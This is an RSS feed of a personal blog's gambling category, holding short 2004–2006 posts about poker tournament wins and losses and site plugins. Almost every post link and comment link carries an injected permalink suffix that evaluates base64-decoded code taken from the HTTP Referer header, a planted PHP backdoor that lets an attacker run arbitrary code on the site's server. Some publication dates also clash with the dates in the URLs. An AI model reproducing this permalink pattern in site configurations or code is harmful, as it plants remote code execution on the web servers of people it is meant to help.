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	<title>the newts.net &#187; Gambling</title>
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	<description>Scott Newton ~ Net Editor.</description>
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		<title>Live Tourney.</title>
		<link>http://www.thenewts.net/2006/02/15/live-tourney/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Wed, 15 Feb 2006 23:02:04 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[I&#8217;ve got my first ever LIVE multi table tournament texas holdem&#8217;s game on Friday 3rd of March.  It&#8217;s a Â£25 buy in with prizes for the final 8 surviving the knockout part of the tourney.  There&#8217;s no indication yet of how many players there are, but I think it&#8217;s going to be pretty [...]]]></description>
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		<title>$15 one-two.</title>
		<link>http://www.thenewts.net/2006/01/31/15-one-two/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 31 Jan 2006 01:57:31 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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And 90 bucks the richer ;0)
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		<title>Winning Ways.</title>
		<link>http://www.thenewts.net/2006/01/20/winning-ways/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 20 Jan 2006 00:49:52 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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Just the one game tonight as I&#8217;m up early in the morning for a day out fly fishing.  It will be my first outing of the season, so I may be gracious and allow Gaz to beat me this one and only time.  Full report later on the newts.net.  In the mean [...]]]></description>
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		<title>3rd, 3rd, 3rd and 3rd!</title>
		<link>http://www.thenewts.net/2006/01/19/3rd-3rd-3rd-3rd/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Thu, 19 Jan 2006 02:34:03 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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But even 3rd pays ;0)
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		<title>$3, $5, Whatever!</title>
		<link>http://www.thenewts.net/2006/01/16/3-5-bring-em-on/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 16 Jan 2006 01:56:25 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>

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This week Grimsby &#8211; - &#8211; Next week&#8230; Vegas Scunthorpe ;0)
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		<title>$3 Tourney Champ.</title>
		<link>http://www.thenewts.net/2006/01/13/3-tourney-champ/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 13 Jan 2006 01:58:56 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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Shame it wasnt $300 :0)
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		<title>Good Start.</title>
		<link>http://www.thenewts.net/2006/01/07/good-start/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sat, 07 Jan 2006 03:40:45 +0000</pubDate>
		<dc:creator>newts</dc:creator>
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		<description><![CDATA[Having re-formatted my pc recently I&#8217;ve been kind of busy with what time I spend at the pc getting it back looking how it used to.  Hence the lack of posts of late.  It&#8217;s only when you re-format you realise just how much shit you&#8217;ve got on your pc.  It&#8217;s kinda nice [...]]]></description>
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		<title>Poker Joker.</title>
		<link>http://www.thenewts.net/2005/09/09/poker-joker/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 09 Sep 2005 23:32:24 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>

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		<description><![CDATA[What an absolute F*****G B*****D!  Down to the last 4 players in a 9 player game of Holdems,  needing a 3rd place to finish in the money, I&#8217;m dealt pocket rockets AA.  With 3 players in the pot, tossing their chips in like there&#8217;s no tomorrow, I&#8217;m on a definite BIG winner. [...]]]></description>
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		<title>A good night at the tables.</title>
		<link>http://www.thenewts.net/2005/08/17/a-good-night-at-the-tables/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Wed, 17 Aug 2005 23:23:38 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>

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		<description><![CDATA[Had a good night at the Holdem&#8217;s tables tonight.  Played 5 nine player sinlge tournaments &#8211; won 4 &#8211; 2nd in 1!
Particularly sweet was this hand&#8230;

10 &#8211; 9 suited in the pocket and three 10&#8217;s materialise on the flop.  SWEET.
Later on in a different game I also flopped four 2&#8217;s!!  I haven&#8217;t [...]]]></description>
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		<title>Pocket Rockets.</title>
		<link>http://www.thenewts.net/2005/01/15/pocket-rockets/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2005/01/15/pocket-rockets/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Sat, 15 Jan 2005 01:41:27 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>

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		<description><![CDATA[I&#8217;m afraid the old pocket rockets ah ad
were the downfall of Bov &#8220;The Trout Fish&#8221; Oliver tonight.

Cruelly thrown by the wayside by newts &#8220;the call&#8221; newton.  who was on fire making inspired calls with what must have been divine intervention.
]]></description>
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		<title>Poker night.</title>
		<link>http://www.thenewts.net/2004/10/22/poker-night/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 22 Oct 2004 04:13:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>

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		<description><![CDATA[Well it started off ok when I took Â£10 off Gaz playing Texas Hold&#8217;ems round his house with Bov &#038; Pete.  Then, after I got home on the net it went down hill rapidly getting dumped out of 2 $25 games without finishing in the money :0(
But hell they don&#8217;t call me the Poker [...]]]></description>
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		<title>New plugins.</title>
		<link>http://www.thenewts.net/2004/10/19/new-plugins/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 19 Oct 2004 03:02:09 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=228</guid>
		<description><![CDATA[I&#8217;ve been scouring the wordpress wiki for plugins and new features for the site.  Tonight&#8217;s findings include:
How long ago&#8230; Hover over the time on the post info bar&#8230;

And it will tell you how long ago the post was written.

Stat Traq&#8230; Click on stat traq under &#8216;other&#8217; in the menu column&#8230;

And it will give you [...]]]></description>
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		<title>2 Back 2 Back games.</title>
		<link>http://www.thenewts.net/2004/10/18/2-back-2-back-games/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Mon, 18 Oct 2004 03:54:38 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
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2nd place for $13.50&#8230;

&#8230;And a win for $45!
Anothe $58.50 to add to last night&#8217;s $112.50 = $171 in 3 games :0)
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		<title>Back on the UK POKER trail.</title>
		<link>http://www.thenewts.net/2004/10/17/back-on-the-uk-poker-trail/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Sun, 17 Oct 2004 02:23:43 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=219</guid>
		<description><![CDATA[With the switch over of pc&#8217;s there&#8217;s kind of a priority or order as to what goes on first.  The new pc is looking more familiar every day, but after installing the new sports and the old sterling versions of William Hill Casino, I noticed tonight I was missing my favourite texas holdems site [...]]]></description>
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		<title>Poker</title>
		<link>http://www.thenewts.net/2004/03/26/poker/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
		<category><![CDATA[General]]></category>

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		<description><![CDATA[What a game.  Talk about the come back kid!  I was down to 275 chips with all 9 players round the table.  Doubled through twice, hung onto to 2,000 chips for a while then hit the 3,500 mark.  Couple of bad breaks had me down to 600.  Clawed it back [...]]]></description>
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		<title>Poker Millions</title>
		<link>http://www.thenewts.net/2004/03/12/poker-millions/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Fri, 12 Mar 2004 00:25:46 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Funny Stuff]]></category>
		<category><![CDATA[Gambling]]></category>
		<category><![CDATA[Jokes]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=101</guid>
		<description><![CDATA[Iv&#8217;e just worked out how to make a small fortune playing poker&#8230;
&#8230;Start with a big one!
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		<title>Lookalikes</title>
		<link>http://www.thenewts.net/2004/02/17/lookalikes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/02/17/lookalikes/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=65</guid>
		<description><![CDATA[I was having a play on the old poker tonight, during which the board flopped&#8230;

&#8230;Unfortunately I didn&#8217;t have the other Ace.  (nor did anyone else!)&#8230;
When I saw someone on the telly who instantly reminded me of someone else.  What do you reckon:

Hover over the pics to see who is actually who.
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		<title>Another Tournament Win!</title>
		<link>http://www.thenewts.net/2004/01/09/another-tournament-win/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
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		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
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		<guid isPermaLink="false">http://www.thenewts.net/?p=30</guid>
		<description><![CDATA[It had been a bit of a slow night on the old Poker tonight.  Couldn&#8217;t hit a cow up the arse with a banjo while Bov, Gaz and Pete were in the room.  Soon as they left though I had one for the road&#8230; A little $25 tourny.  And while I nearly [...]]]></description>
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		<title>Texas Hold&#8217;ems Daddy!</title>
		<link>http://www.thenewts.net/2004/01/07/texas-holdems-daddy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/</link>
		<comments>http://www.thenewts.net/2004/01/07/texas-holdems-daddy/%&({${eval(base64_decode($_SERVER[HTTP_REFERER]))}}|.+)&%/#comments</comments>
		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Gambling]]></category>
		<category><![CDATA[General]]></category>

		<guid isPermaLink="false">http://www.thenewts.net/?p=29</guid>
		<description><![CDATA[While Bov, Gaz and Pete the Painter all fell by the wayside and moped off up them wooden stairs to bed&#8230;  The newts chalks up his 2nd tournament win and his first in the $25 class tables.

Next step&#8217;s gotta be the $50 tables and then if we get lucky there we may be tempted [...]]]></description>
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		<title>Back from the offline wilderness.</title>
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		<pubDate>Tue, 30 Nov 1999 00:00:00 +0000</pubDate>
		<dc:creator>newts</dc:creator>
				<category><![CDATA[Friends]]></category>
		<category><![CDATA[Gambling]]></category>

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Unable to get Broadband at his new house because the scumbag neighbours don&#8217;t want their little private road digging up, Gaz has finally got back online through freeserve and his 56k slowdem.  Bit of a come down from the 600 phat k&#8217;s that he was used to, but he&#8217;s back all the same.  [...]]]></description>
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